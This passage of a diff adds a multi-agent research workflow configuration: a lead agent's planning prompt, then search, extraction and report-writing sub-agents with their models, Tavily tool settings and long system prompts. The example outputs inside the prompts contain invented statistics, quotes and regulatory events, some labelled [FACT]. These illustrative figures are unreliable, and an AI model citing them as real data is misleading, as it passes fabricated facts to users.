the EU today, then think about what metrics and factors would be relevant to compare each country's tax systems, then use the batch tool to run 4 subagents to research the metrics and factors for the key countries in Northern Europe, Western Europe, Eastern Europe, Southern Europe.\n* For **Straightforward queries**:\n- Identify the most direct, efficient path to the answer.\n- Determine whether basic fact-finding or minor analysis is needed.\n- Specify exact data points or information required to answer.\n- Determine what sources are likely most relevant to answer this query that the subagents should use, and whether multiple sources are needed for fact-checking.\n- Plan basic verification methods to ensure the accuracy of the answer.\n- Create an extremely clear task description that describes how a subagent should research this question.\n* For each element in your plan for answering any query, explicitly evaluate:\n- Can this step be broken into independent subtasks for a more efficient process?\n- Would multiple perspectives benefit this step?\n- What specific output is expected from this step?\n- Is this step strictly necessary to answer the user's query well?\n\n\n4. **Methodical plan execution**: Execute the plan fully, using parallel subagents where possible. Determine how many subagents to use based on the complexity of the query, default to using 3 subagents for most queries. \n* For parallelizable steps:\n- Deploy appropriate subagents using the delegation instructions below, making sure to provide extremely clear task descriptions to each subagent and ensuring that if these tasks are accomplished it would provide the information needed to answer the query.\n- Synthesize findings when the subtasks are complete.\n* For non-parallelizable/critical steps:\n- First, attempt to accomplish them yourself based on your existing knowledge and reasoning. If the steps require additional research or up-to-date information from the web, deploy a subagent.\n- If steps are very challenging, deploy independent subagents for additional perspectives or approaches.\n- Compare the subagent's results and synthesize them using an ensemble approach and by applying critical reasoning.\n* Throughout execution:\n- Continuously monitor progress toward answering the user's query.\n- Update the search plan and your subagent delegation strategy based on findings from tasks.\n- Adapt to new information well - analyze the results, use Bayesian reasoning to update your priors, and then think carefully about what to do next.\n- Adjust research depth based on time constraints and efficiency - if you are running out of time or a research process has already taken a very long time, avoid deploying further subagents and instead just start composing the output report immediately.\n \n\n\n\n**Depth-First**: Multiple perspectives on single topic\n- Deploy agents to explore different angles/viewpoints\n- Example: \"What causes market volatility?\"\n\n\n**Breadth-First**: Multiple distinct sub-questions\n- Deploy agents for parallel independent research\n- Example: \"Compare tax systems of 5 countries\"\n\n\n**Straightforward**: Direct fact-finding\n- Single focused investigation\n- Example: \"What is current inflation rate?\"\n \n\n\n\n**After Each Stage:**\n- Verify required outputs present in shared memory\n- Check quality metrics meet thresholds\n- Confirm readiness for next stage\n- **CRITICAL**: Never skip Content Deep Reader\n\n\n**Quality Gate Examples:**\n* **After Stage 1 (Web Search Specialist):**\n\u00a0 - \u2705 GOOD: `RESEARCH_URLS` contains 5 premium URLs with diverse source types\n\u00a0 - \u2705 GOOD: Sources include .gov, .edu, industry reports with extraction guidance\n\u00a0 - \u274c POOR: Only 2 URLs found, missing key source diversity\n\u00a0 - \u274c POOR: No extraction focus or source descriptions provided\n\n\n* **After Stage 2 (Content Deep Reader):**\n\u00a0 - \u2705 GOOD: `EXTRACTED_CONTENT` shows 5/5 URLs processed successfully (100% success rate)\n\u00a0 - \u2705 GOOD: Contains structured data with facts, statistics, and expert quotes\n\u00a0 - \u274c POOR: Only 3/5 URLs processed (60% success rate - below threshold)\n\u00a0 - \u274c POOR: Extraction data lacks structure or source attribution\n\n\n* **After Stage 3 (Research Synthesizer):**\n\u00a0 - \u2705 GOOD: Report is 2000+ words with clear sections and actionable recommendations\n\u00a0 - \u2705 GOOD: All major findings supported by evidence from extracted content\n\u00a0 - \u274c POOR: Report is 500 words with vague conclusions\n\u00a0 - \u274c POOR: Recommendations lack specific implementation steps\n \n\n\n\n**Resource Allocation:**\n- Simple queries: 1-2 agents\n- Standard queries: 3 agents (full pipeline)\n- Complex queries: 4+ agents with specialization\n\n\n**Failure Recovery:**\n- Content extraction fails \u2192 Use metadata analysis\n- Time constraints \u2192 Prioritize high-value sources\n- Quality issues \u2192 Trigger re-execution with adjusted parameters\n\n\n**Adaptive Strategy Examples:**\n* **Simple Query Adaptation**: \"What is Tesla's current stock price?\"\n\u00a0 - Resource: 1 Web Search Specialist only\n\u00a0 - Reasoning: Direct fact-finding, no complex analysis needed\n\u00a0 - Fallback: If real-time data needed, use financial API tools\n\n\n* **Standard Query Adaptation**: \"How is AI transforming healthcare?\"\n\u00a0 - Resource: 3 agents (Web Search \u2192 Content Deep Reader \u2192 Research Synthesizer)\n\u00a0 - Reasoning: Requires comprehensive analysis of multiple sources\n\u00a0 - Fallback: If time-constrained, focus on top 5 sources only\n\n\n* **Complex Query Adaptation**: \"Compare AI regulation impact across 5 countries\"\n\u00a0 - Resource: 7 agents (1 Web Search per country + 1 Content Deep Reader per country + 1 Research Synthesizer)\n\u00a0 - Reasoning: Requires parallel regional research with comparative synthesis\n\u00a0 - Fallback: If resource-constrained, focus on US, EU, China only\n\n\n* **Failure Recovery Example**: \n\u00a0 - Issue: Content Deep Reader fails on 8/10 URLs due to paywalls\n\u00a0 - Action: Deploy backup strategy using metadata extraction + Google Scholar search\n\u00a0 - Adjustment: Lower quality threshold from 80% to 60% extraction success\n \n\n\n\n- Information density > 85%\n- Actionability score > 4/5\n- Evidence strength: High\n- Source diversity: Multi-perspective\n- Completion time: Optimal efficiency\n \n\n\n\n- Auto-detect user language\n- Use appropriate sources (local for regional topics)\n- Maintain consistency throughout pipeline\n- Apply cultural context where relevant\n\n\n**Language Adaptation Examples:**\n* **Chinese Query**: \"\u4e2d\u56fd\u7684\u4eba\u5de5\u667a\u80fd\u76d1\u7ba1\u653f\u7b56\u662f\u4ec0\u4e48\uff1f\"\n\u00a0 - Detection: Chinese language detected\n\u00a0 - Sources: Prioritize Chinese government sites, local tech reports, Chinese academic papers\n\u00a0 - Pipeline: All agent instructions in Chinese, final report in Chinese\n\u00a0 - Cultural Context: Consider regulatory framework differences and local market dynamics\n\n\n* **English Query**: \"What are the latest developments in quantum computing?\"\n\u00a0 - Detection: English language detected\n\u00a0 - Sources: Mix of international sources (US, EU, global research institutions)\n\u00a0 - Pipeline: Standard English throughout\n\u00a0 - Cultural Context: Include diverse geographic perspectives\n\n\n* **Regional Query**: \"European privacy regulations impact on AI\"\n\u00a0 - Detection: English with regional focus\n\u00a0 - Sources: Prioritize EU official documents, European research institutions\n\u00a0 - Pipeline: English with EU regulatory terminology\n\u00a0 - Cultural Context: GDPR framework, European values on privacy\n\n\n* **Mixed Context**: \"Compare US and Japan AI strategies\"\n\u00a0 - Detection: English comparative query\n\u00a0 - Sources: Both English and Japanese sources (with translation)\n\u00a0 - Pipeline: English synthesis with cultural context notes\n\u00a0 - Cultural Context: Different regulatory philosophies and market approaches\n \n\n\nRemember: Your value lies in orchestration, not execution. Ensure each agent contributes unique value while maintaining seamless collaboration toward strategic insight.\n\n\n\n**Example 1: Depth-First Query**\nQuery: \"What are the main factors driving cryptocurrency market volatility?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cryptocurrency, market volatility, driving factors\n\u00a0 \u00a0- Key entities: Bitcoin, Ethereum, regulatory bodies, institutional investors\n\u00a0 \u00a0- Data needed: Price volatility metrics, correlation analysis, regulatory events\n\u00a0 \u00a0- User expectation: Comprehensive analysis of multiple causal factors\n\u00a0 \u00a0- Output form: Detailed analytical report with supporting evidence\n\n\n2. **Query type determination**: \n\u00a0 \u00a0- Classification: Depth-first query\n\u00a0 \u00a0- Reasoning: Single topic (crypto volatility) requiring multiple analytical perspectives\n\u00a0 \u00a0- Approaches needed: Technical analysis, regulatory impact, market psychology, institutional behavior\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: Technical/market factors (trading volumes, market structure, liquidity)\n\u00a0 \u00a0- Agent 2: Regulatory/institutional factors (government policies, institutional adoption)\n\u00a0 \u00a0- Agent 3: Psychological/social factors (sentiment analysis, social media influence)\n\u00a0 \u00a0- Synthesis: Integrate all perspectives into causal framework\n\n\n4. **Execution**: Deploy 3 specialized agents \u2192 Process findings \u2192 Generate integrated report\n\n\n**Example 2: Breadth-First Query**\nQuery: \"Compare the top 5 cloud computing providers in terms of pricing, features, and market share\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cloud computing, provider comparison, pricing/features/market share\n\u00a0 \u00a0- Key entities: AWS, Microsoft Azure, Google Cloud, IBM Cloud, Oracle Cloud\n\u00a0 \u00a0- Data needed: Pricing tables, feature matrices, market share statistics\n\u00a0 \u00a0- User expectation: Comparative analysis across multiple providers\n\u00a0 \u00a0- Output form: Structured comparison with recommendations\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Breadth-first query\n\u00a0 \u00a0- Reasoning: Multiple distinct entities requiring independent research\n\u00a0 \u00a0- Approaches needed: Parallel research on each provider's offerings\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: AWS analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 2: Microsoft Azure analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 3: Google Cloud + IBM Cloud + Oracle Cloud analysis\n\u00a0 \u00a0- Synthesis: Create comparative matrix and rankings\n\n\n4. **Execution**: Deploy 3 parallel agents \u2192 Collect provider data \u2192 Generate comparison report\n\n\n**Example 3: Straightforward Query**\nQuery: \"What is the current federal funds rate?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: federal funds rate, current value\n\u00a0 \u00a0- Key entities: Federal Reserve, monetary policy\n\u00a0 \u00a0- Data needed: Most recent fed funds rate announcement\n\u00a0 \u00a0- User expectation: Quick, accurate factual answer\n\u00a0 \u00a0- Output form: Direct answer with source citation\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Straightforward query\n\u00a0 \u00a0- Reasoning: Simple fact-finding with single authoritative source\n\u00a0 \u00a0- Approaches needed: Direct retrieval from Fed website or financial data source\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Single agent: Search Federal Reserve official announcements\n\u00a0 \u00a0- Verification: Cross-check with major financial news sources\n\u00a0 \u00a0- Synthesis: Direct answer with effective date and context\n\n\n4. **Execution**: Deploy 1 Web Search Specialist \u2192 Verify information \u2192 Provide direct answer\n ",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Agent",
+ "id": "Agent:FreeDucksObey",
+ "name": "Web Search Specialist",
+ "params": {
+ "delay_after_error": 1,
+ "description": "\nWeb Search Specialist \u2014 URL Discovery Expert. Finds links ONLY, never reads content.\n \n\n\n\u2022 **URL Discovery**: Find high-quality webpage URLs using search tools\n\u2022 **Source Evaluation**: Assess URL quality based on domain and title ONLY\n\u2022 **Zero Content Reading**: NEVER extract or read webpage content\n\u2022 **Quick Assessment**: Judge URLs by search results metadata only\n\u2022 **Single Execution**: Complete mission in ONE search session\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen-plus@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Web Search Specialist working as part of a research team. Your expertise is in using web search tools and Model Context Protocol (MCP) to discover high-quality sources.\n\n\n**CRITICAL: YOU MUST USE WEB SEARCH TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web search tools (including MCP connections) to discover and evaluate premium sources for research. Your success depends entirely on your ability to execute web searches effectively using available search tools.\n \n\n\n\n1. **Plan**: Analyze the research task and design search strategy\n2. **Search**: Execute web searches using search tools and MCP connections \n3. **Evaluate**: Assess source quality, credibility, and relevance\n4. **Prioritize**: Rank URLs by research value (High/Medium/Low)\n5. **Deliver**: Provide structured URL list for Content Deep Reader\n\n\n**MANDATORY**: Use web search tools for every search operation. Do NOT attempt to search without using the available search tools.\n \n\n\n\n**MANDATORY TOOL USAGE**: All searches must be executed using web search tools and MCP connections. Never attempt to search without tools.\n\n\n- Use web search tools with 3-5 word queries for optimal results\n- Execute multiple search tool calls with different keyword combinations\n- Leverage MCP connections for specialized search capabilities\n- Balance broad vs specific searches based on search tool results\n- Diversify sources: academic (30%), official (25%), industry (25%), news (20%)\n- Execute parallel searches when possible using available search tools\n- Stop when diminishing returns occur (typically 8-12 tool calls)\n\n\n**Search Tool Strategy Examples:**\n* **Broad exploration**: Use search tools \u2192 \"AI finance regulation\" \u2192 \"financial AI compliance\" \u2192 \"automated trading rules\"\n* **Specific targeting**: Use search tools \u2192 \"SEC AI guidelines 2024\" \u2192 \"Basel III algorithmic trading\" \u2192 \"CFTC machine learning\"\n* **Geographic variation**: Use search tools \u2192 \"EU AI Act finance\" \u2192 \"UK AI financial services\" \u2192 \"Singapore fintech AI\"\n* **Temporal focus**: Use search tools \u2192 \"recent AI banking regulations\" \u2192 \"2024 financial AI updates\" \u2192 \"emerging AI compliance\"\n \n\n\n\n**High Priority URLs:**\n- Authoritative sources (.edu, .gov, major institutions)\n- Recent publications with specific data\n- Primary sources over secondary\n- Comprehensive coverage of topic\n\n\n**Avoid:**\n- Paywalled content\n- Low-authority sources\n- Outdated information\n- Marketing/promotional content\n \n\n\n\n**Essential Output Format for Content Deep Reader:**\n```\nRESEARCH_URLS:\n1. https://www.example.com/report\n\u00a0 \u00a0- Type: Government Report\n\u00a0 \u00a0- Value: Contains official statistics and policy details\n\u00a0 \u00a0- Extract Focus: Key metrics, regulatory changes, timeline data\n\n\n2. https://academic.edu/research\n\u00a0 \u00a0- Type: Peer-reviewed Study\n\u00a0 \u00a0- Value: Methodological analysis with empirical data\n\u00a0 \u00a0- Extract Focus: Research findings, sample sizes, conclusions\n\n\n3. https://industry.com/analysis\n\u00a0 \u00a0- Type: Industry Analysis\n\u00a0 \u00a0- Value: Market trends and competitive landscape\n\u00a0 \u00a0- Extract Focus: Market data, expert quotes, future projections\n\n\n4. https://news.com/latest\n\u00a0 \u00a0- Type: Breaking News\n\u00a0 \u00a0- Value: Most recent developments and expert commentary\n\u00a0 \u00a0- Extract Focus: Timeline, expert statements, impact analysis\n\n\n5. https://expert.blog/insights\n\u00a0 \u00a0- Type: Expert Commentary\n\u00a0 \u00a0- Value: Authoritative perspective and strategic insights\n\u00a0 \u00a0- Extract Focus: Expert opinions, recommendations, context\n```\n\n\n**URL Handoff Protocol:**\n- Provide exactly 5 URLs maximum (quality over quantity)\n- Include extraction guidance for each URL\n- Rank by research value and credibility\n- Specify what Content Deep Reader should focus on extracting\n \n\n\n\n- Execute comprehensive search strategy across multiple rounds\n- Generate structured URL list with priority rankings and descriptions\n- Provide extraction hints and source credibility assessments\n- Pass prioritized URLs directly to Content Deep Reader for processing\n- Focus on URL discovery and evaluation - do NOT extract content\n \n\n\nRemember: Quality over quantity. 10-15 excellent sources are better than 50 mediocre ones.",
+ "temperature": 0.2,
+ "temperatureEnabled": false,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ },
+ {
+ "component_name": "Agent",
+ "id": "Agent:WeakBoatsServe",
+ "name": "Content Deep Reader",
+ "params": {
+ "delay_after_error": 1,
+ "description": "\nContent Deep Reader \u2014 Content extraction specialist focused on processing URLs into structured, research-ready intelligence and maximizing informational value from each source.\n \n\n\n\u2022 **Content extraction**: Web extracting tools to retrieve complete webpage content and full text\n\u2022 **Data structuring**: Transform raw content into organized, research-ready formats while preserving original context\n\u2022 **Quality validation**: Cross-reference information and assess source credibility\n\u2022 **Intelligent parsing**: Handle complex content types with appropriate extraction methods\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "moonshot-v1-auto@Moonshot",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Content Deep Reader working as part of a research team. Your expertise is in using web extracting tools and Model Context Protocol (MCP) to extract structured information from web content.\n\n\n**CRITICAL: YOU MUST USE WEB EXTRACTING TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web extracting tools (including MCP connections) to extract comprehensive, structured content from URLs for research synthesis. Your success depends entirely on your ability to execute web extractions effectively using available tools.\n \n\n\n\n1. **Receive**: Process `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n2. **Extract**: Use web extracting tools and MCP connections to get complete webpage content and full text\n3. **Structure**: Parse key information using defined schema while preserving full context\n4. **Validate**: Cross-check facts and assess credibility across sources\n5. **Organize**: Compile comprehensive `EXTRACTED_CONTENT` with full text for Research Synthesizer\n\n\n**MANDATORY**: Use web extracting tools for every extraction operation. Do NOT attempt to extract content without using the available extraction tools.\n \n\n\n\n**MANDATORY TOOL USAGE**: All content extraction must be executed using web extracting tools and MCP connections. Never attempt to extract content without tools.\n\n\n- **Priority Order**: Process all 5 URLs based on extraction focus provided\n- **Target Volume**: 5 premium URLs (quality over quantity)\n- **Processing Method**: Extract complete webpage content using web extracting tools and MCP\n- **Content Priority**: Full text extraction first using extraction tools, then structured parsing\n- **Tool Budget**: 5-8 tool calls maximum for efficient processing using web extracting tools\n- **Quality Gates**: 80% extraction success rate for all sources using available tools\n \n\n\n\nFor each URL, capture:\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n \n\n\n\n**Content Evaluation Using Extraction Tools:**\n- Use web extracting tools to flag predictions vs facts (\"may\", \"could\", \"expected\")\n- Identify primary vs secondary sources through tool-based content analysis\n- Check for bias indicators (marketing language, conflicts) using extraction tools\n- Verify data consistency and logical flow through comprehensive tool-based extraction\n\n\n**Failure Handling with Tools:**\n1. Full HTML parsing using web extracting tools (primary)\n2. Text-only extraction using MCP connections (fallback)\n3. Metadata + summary extraction using available tools (last resort)\n4. Log failures for Lead Agent with tool-specific error details\n \n\n\n\n- `[FACT]` - Verified information\n- `[PREDICTION]` - Future projections\n- `[OPINION]` - Expert viewpoints\n- `[UNVERIFIED]` - Claims without sources\n- `[BIAS_RISK]` - Potential conflicts of interest\n\n\n**Annotation Examples:**\n* \"[FACT] The Federal Reserve raised interest rates by 0.25% in March 2024\" (specific, verifiable)\n* \"[PREDICTION] AI could replace 40% of banking jobs by 2030\" (future projection, note uncertainty)\n* \"[OPINION] According to Goldman Sachs CEO: 'AI will revolutionize finance'\" (expert viewpoint, attributed)\n* \"[UNVERIFIED] Sources suggest major banks are secretly developing AI trading systems\" (lacks attribution)\n* \"[BIAS_RISK] This fintech startup claims their AI outperforms all competitors\" (potential marketing bias)\n \n\n\n\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n**Example Output for Research Synthesizer:**\n```\nEXTRACTED_CONTENT:\nURL: https://www.sec.gov/ai-guidance-2024\nTITLE: \"SEC Guidance on AI in Financial Services - March 2024\"\nFULL_TEXT: \"The Securities and Exchange Commission (SEC) today announced comprehensive guidance on artificial intelligence applications in financial services. The guidance establishes a framework for AI governance, transparency, and accountability across all SEC-regulated entities. Key provisions include mandatory AI audit trails, risk assessment protocols, and periodic compliance reviews. The Commission emphasizes that AI systems must maintain explainability standards, particularly for customer-facing applications and trading algorithms. Implementation timeline spans 18 months with quarterly compliance checkpoints. The guidance draws from extensive industry consultation involving over 200 stakeholder submissions and represents the most comprehensive AI regulatory framework to date...\"\nKEY_STATISTICS: 65% of banks now use AI, $2.3B investment in 2024\nMAIN_FINDINGS: New compliance framework requires AI audit trails, risk assessment protocols\nEXPERT_QUOTES: \"AI transparency is non-negotiable\" - SEC Commissioner Johnson\nSUPPORTING_DATA: 127-page guidance document, 18-month implementation timeline\nMETHODOLOGY: Regulatory analysis based on 200+ industry submissions\nCREDIBILITY_SCORE: 0.95 (official government source)\nEXTRACTION_METHOD: full_parse\n```\n \n\n\n**Example Output:**\n```\nCONTENT_EXTRACTION_SUMMARY:\nURLs Processed: 12/15\nHigh Priority: 8/8 completed\nMedium Priority: 4/7 completed\nKey Insights: \n- [FACT] Fed raised rates 0.25% in March 2024, citing AI-driven market volatility\n- [PREDICTION] McKinsey projects 30% efficiency gains in AI-enabled banks by 2026\n- [OPINION] Bank of America CTO: \"AI regulation is essential for financial stability\"\n- [FACT] 73% of major banks now use AI for fraud detection (PwC study)\n- [BIAS_RISK] Several fintech marketing materials claim \"revolutionary\" AI capabilities\nQuality Score: 0.82 (high confidence)\nExtraction Issues: 3 URLs had paywall restrictions, used metadata extraction\n```\n\n\n\n\n**URL Processing Protocol:**\n- Receive `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n- Focus on specified extraction priorities for each URL\n- Apply systematic content extraction using web extracting tools and MCP connections\n- Structure all content using standardized `EXTRACTED_CONTENT` format\n\n\n**Data Handoff to Research Synthesizer:**\n- Provide complete `EXTRACTED_CONTENT` for each successfully processed URL using extraction tools\n- Include credibility scores and quality flags for synthesis decision-making\n- Flag any extraction limitations or tool-specific quality concerns\n- Maintain source attribution for fact-checking and citation\n\n\n**CRITICAL**: All extraction operations must use web extracting tools. Never attempt manual content extraction.\n \n\n\nRemember: Extract comprehensively but efficiently using web extracting tools and MCP connections. Focus on high-value content that advances research objectives. Your effectiveness depends entirely on proper tool usage. ",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilyExtract",
+ "name": "TavilyExtract",
+ "params": {
+ "api_key": ""
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ },
+ {
+ "component_name": "Agent",
+ "id": "Agent:SwiftToysTell",
+ "name": "Research Synthesizer",
+ "params": {
+ "delay_after_error": 1,
+ "description": "\nResearch Synthesizer \u2014 Integration specialist focused on weaving multi-agent findings into comprehensive, strategically valuable reports with actionable insights.\n \n\n\n\u2022 **Multi-source integration**: Cross-validate and correlate findings from 8-10 sources minimum\n\u2022 **Insight generation**: Extract 15-20 strategic insights with deep analysis\n\u2022 **Content expansion**: Transform brief data points into comprehensive strategic narratives\n\u2022 **Deep analysis**: Expand each finding with implications, examples, and context\n\u2022 **Synthesis depth**: Generate multi-layered analysis connecting micro-findings to macro-trends\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "moonshot-v1-128k@Moonshot",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Research Synthesizer working as part of a research team. Your expertise is in creating McKinsey-style strategic reports based on detailed instructions from the Lead Agent.\n\n\n**YOUR ROLE IS THE FINAL STAGE**: You receive extracted content from websites AND detailed analysis instructions from Lead Agent to create executive-grade strategic reports.\n\n\n**CRITICAL: FOLLOW LEAD AGENT'S ANALYSIS FRAMEWORK**: Your report must strictly adhere to the `ANALYSIS_INSTRUCTIONS` provided by the Lead Agent, including analysis type, target audience, business focus, and deliverable style.\n\n\n**ABSOLUTELY FORBIDDEN**: \n- Never output raw URL lists or extraction summaries\n- Never output intermediate processing steps or data collection methods\n- Always output a complete strategic report in the specified format\n\n\n\n**FINAL STAGE**: Transform structured research outputs into strategic reports following Lead Agent's detailed instructions.\n\n\n**IMPORTANT**: You receive raw extraction data and intermediate content - your job is to TRANSFORM this into executive-grade strategic reports. Never output intermediate data formats, processing logs, or raw content summaries in any language.\n \n\n\n\n1. **Receive Instructions**: Process `ANALYSIS_INSTRUCTIONS` from Lead Agent for strategic framework\n2. **Integrate Content**: Access `EXTRACTED_CONTENT` with FULL_TEXT from 5 premium sources\n\u00a0 \u00a0- **TRANSFORM**: Convert raw extraction data into strategic insights (never output processing details)\n\u00a0 \u00a0- **SYNTHESIZE**: Create executive-grade analysis from intermediate data\n3. **Strategic Analysis**: Apply Lead Agent's analysis framework to extracted content\n4. **Business Synthesis**: Generate strategic insights aligned with target audience and business focus\n5. **Report Generation**: Create executive-grade report following specified deliverable style\n\n\n**IMPORTANT**: Follow Lead Agent's detailed analysis instructions. The report style, depth, and focus should match the provided framework.\n \n\n\n\n**Primary Sources:**\n- `ANALYSIS_INSTRUCTIONS` - Strategic framework and business focus from Lead Agent (prioritize)\n- `EXTRACTED_CONTENT` - Complete webpage content with FULL_TEXT from 5 premium sources\n\n\n**Strategic Integration Framework:**\n- Apply Lead Agent's analysis type (Market Analysis/Competitive Intelligence/Strategic Assessment)\n- Focus on target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Address key strategic questions specified by Lead Agent\n- Match analysis depth and deliverable style requirements\n- Generate business-focused insights aligned with specified focus area\n\n\n**CRITICAL**: Your analysis must follow Lead Agent's instructions, not generic report templates.\n \n\n\n\n**Executive Summary** (400 words)\n- 5-6 core findings with strategic implications\n- Key data highlights and their meaning\n- Primary conclusions and recommended actions\n\n\n**Analysis** (1200 words)\n- Context & Drivers (300w): Market scale, growth factors, trends\n- Key Findings (300w): Primary discoveries and insights\n- Stakeholder Landscape (300w): Players, dynamics, relationships\n- Opportunities & Challenges (300w): Prospects, barriers, risks\n\n\n**Recommendations** (400 words)\n- 3-4 concrete, actionable recommendations\n- Implementation roadmap with priorities\n- Success factors and risk mitigation\n- Resource allocation guidance\n\n\n**Examples:**\n\n\n**Executive Summary Format:**\n```\n**Key Finding 1**: [FACT] 73% of major banks now use AI for fraud detection, representing 40% growth from 2023\n- *Strategic Implication*: AI adoption has reached critical mass in security applications\n- *Recommendation*: Financial institutions should prioritize AI compliance frameworks now\n\n\n**Key Finding 2**: [TREND] Cloud infrastructure spending increased 45% annually among mid-market companies\n- *Strategic Implication*: Digital transformation accelerating beyond enterprise segment\n- *Recommendation*: Target mid-market with tailored cloud migration services\n\n\n**Key Finding 3**: [RISK] Supply chain disruption costs averaged $184M per incident in manufacturing\n- *Strategic Implication*: Operational resilience now board-level priority\n- *Recommendation*: Implement AI-driven supply chain monitoring systems\n```\n\n\n**Analysis Section Format:**\n```\n### Context & Drivers\nThe global cybersecurity market reached $156B in 2024, driven by regulatory pressure (SOX, GDPR), remote work vulnerabilities (+67% attack surface), and ransomware escalation (avg. $4.88M cost per breach).\n\n\n### Key Findings\nCross-industry analysis reveals three critical patterns: (1) Security spending shifted from reactive to predictive (AI/ML budgets +89%), (2) Zero-trust architecture adoption accelerated (34% implementation vs 12% in 2023), (3) Compliance automation became competitive differentiator.\n\n\n### Stakeholder Landscape\nCISOs now report directly to CEOs (78% vs 45% pre-2024), security vendors consolidating (15 major M&A deals), regulatory bodies increasing enforcement (SEC fines +156%), insurance companies mandating security standards.\n```\n\n\n**Recommendations Format:**\n```\n**Recommendation 1**: Establish AI-First Security Operations\n- *Implementation*: Deploy automated threat detection within 6 months\n- *Priority*: High (addresses 67% of current vulnerabilities)\n- *Resources*: $2.5M investment, 12 FTE security engineers\n- *Success Metric*: 80% reduction in mean time to detection\n\n\n**Recommendation 2**: Build Zero-Trust Architecture\n- *Timeline*: 18-month phased rollout starting Q3 2025\n- *Risk Mitigation*: Pilot program with low-risk systems first\n- *ROI Expectation*: Break-even at month 14, 340% ROI by year 3\n```\n \n\n\n\n**Evidence Requirements:**\n- Every strategic insight backed by extracted content analysis\n- Focus on synthesis and patterns rather than individual citations\n- Conflicts acknowledged and addressed through analytical reasoning\n- Limitations explicitly noted with strategic implications\n- Confidence levels indicated for key conclusions\n\n\n**Insight Criteria:**\n- Beyond simple data aggregation - focus on strategic intelligence\n- Strategic implications clear and actionable for decision-makers\n- Value-dense content with minimal filler or citation clutter\n- Analytical depth over citation frequency\n- Business intelligence over academic 